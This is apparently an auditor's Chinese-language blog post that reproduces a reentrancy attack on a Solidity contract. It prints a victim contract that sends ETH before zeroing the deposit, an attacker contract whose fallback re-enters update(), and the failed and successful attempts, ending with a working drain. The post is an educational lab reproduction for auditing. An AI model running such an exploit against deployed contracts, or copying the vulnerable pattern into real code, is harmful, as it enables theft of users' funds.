简介
前几天无意间看到一篇名为Most common smart contract bugs of 2020的报告,进去认真看了一下,发现提到的一个重入攻击挺有意思的。就来复现一下。整个过程中也碰到了一些有意思的点。很遗憾的是,在即将写完这篇文章的时候,我在实际的审计过程中也遇到了相似的代码实现。
代码分析
先来看一段代码
function update() {
uint value = deposits[msg.sender];
safeTransferETH(msg.sender, value)
deposits[msg.sender] = 0;
}
分析发现这一段代码的功能是:
- 获取用户的存款数额
- 使用
safeTransferETH
函数发送用户的存款 - 把用户的存款数额置为零
一般的审计会认为这段代码是安全的,因为其使用的是safeTransferETH
一般意义上是安全的函数。
但是让我们跟入safeTransferETH
函数去看一下
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
熟悉重入攻击的人一下子就能发现,这段代码十分的不安全。不了解的可以看这一篇文章
尝试攻击
按照之前的攻击思路,完善一下受害合约,顺便写一下攻击合约
pragma solidity ^0.8.0;
//受害合约
contract reterry{
mapping(address => uint) deposits;
function deposit() public payable{
deposits[msg.sender] += msg.value;
}
function update() public{
uint value = deposits[msg.sender];
safeTransferETH(msg.sender, value);
deposits[msg.sender] = 0;
}
function getdeposit(address acoumt) public view returns(uint256){
return deposits[acoumt];
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function getbalance()public view returns(uint256){
return address(this).balance;
}
}
//攻击合约
contract attack{
reterry a= reterry(address(Victimized contract);
uint256 i=0;
fallback() external payable {
a.update();
}
function deposit() public {
a.deposit{value: 1 ether}();
}
function attack1() public {
a.update();
}
constructor() payable{}
}
第一次尝试
进行一些初始化之后
然后我们调用attack1函数进行攻击
很遗憾的交易失败,我进行了debug调试
发现成功的调用了攻击合约的fallback函数,此时我认为,是因为攻击合约的存款和受害合约的balance不成正比,导致最后一次的call调用返回了失败导致整体的回退。
第二次尝试
这次我将攻击合约的存款与受害合约的balance调整为10:1,再次攻击,依旧失败了
第三次尝试
这一次我想到了solidity 0.8.9的更新版本允许我们定义下面类型的fallback函数
fallback(bytes calldata) external payable returns(bytes memory) {
a.update();
return '0x10000000';
}![](https://p0.ssl.qhimg.com/t01cc59661580147177.png)
当call调用之后,我们自行定义返回值,使得返回值的第一个字节为1也就等价于true。不知道我们自定义的返回值是否会对bool success产生影响,如果可以的就可以使得我们的重入不会在最后一次失败。
再次失败,进过调试发现我们自定义的返回值对bool success并未产生影响。再次翻阅call调用的返回值的定义,发现 call函数的返回值为true或者false。 只有当能够找到此方法并执行成功后,会返回true,而如果不能够找到此函数或执行失则会返回false。因此我刚刚的方法不能奏效。
第四次尝试
经过进一步调试发现,未限制重入次数的情况下,总会在最后一次call失败,如果我们能控制重入的次数应该就可以实现,保证每一次都是成功的,就可以实现交易不会失败。
稍微改善代码
uint i;
fallback() external payable {
i+=1;
if(i<10){
a.update();
}
}
启动attack
攻击成功!
总结
本次漏洞发生的原因在于错误的利用被认为是安全的函数代码库,而在实际的审计过程中大家往往会忽略这种函数的审查,误以为其是安全的。其实一进入该函数的实现,就能轻而易举的发现问题,也算是人性的弱点吧。本来想展示实际业务中的审计到的代码,但是由于业务保密性要求,很遗憾不能展示。